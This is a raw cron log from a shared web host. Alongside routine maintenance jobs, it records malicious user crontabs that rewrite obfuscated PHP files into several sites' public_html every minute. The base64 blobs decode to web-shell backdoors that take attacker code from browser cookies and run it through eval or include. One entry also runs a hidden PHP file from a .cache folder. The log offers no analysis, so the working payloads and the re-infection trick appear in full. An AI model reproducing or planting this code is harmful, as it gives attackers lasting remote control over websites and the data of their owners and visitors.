2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:54:01 medusa CROND[9208]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:54:01 medusa CROND[9209]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:54:01 medusa CROND[9210]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:54:01 medusa CROND[9212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:54:01 medusa CROND[9213]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:54:01 medusa CROND[9214]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:54:01 medusa CROND[9211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:54:01 medusa CROND[9217]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:54:01 medusa CROND[9221]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:54:01 medusa CROND[9224]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:54:01 medusa CROND[9229]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:54:01 medusa CROND[9237]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:55:02 medusa CROND[1668]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:55:02 medusa CROND[1719]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:55:02 medusa CROND[1807]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:55:02 medusa CROND[1809]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:55:02 medusa CROND[1811]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:55:02 medusa CROND[1812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:55:02 medusa CROND[1813]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:55:02 medusa CROND[1810]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:55:02 medusa CROND[1818]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:55:02 medusa CROND[1819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:55:02 medusa CROND[1815]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:55:02 medusa CROND[1816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:55:02 medusa CROND[1823]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:55:02 medusa CROND[1825]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:55:02 medusa CROND[1826]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:55:02 medusa CROND[1827]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:55:02 medusa CROND[1833]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:55:02 medusa CROND[1835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:55:02 medusa CROND[1837]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:55:02 medusa CROND[1838]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:55:02 medusa CROND[1839]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:55:02 medusa CROND[1842]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:56:01 medusa CROND[25592]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:56:01 medusa CROND[25698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:56:01 medusa CROND[25700]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:56:01 medusa CROND[25701]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:56:01 medusa CROND[25702]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:56:01 medusa CROND[25706]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:56:01 medusa CROND[25709]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
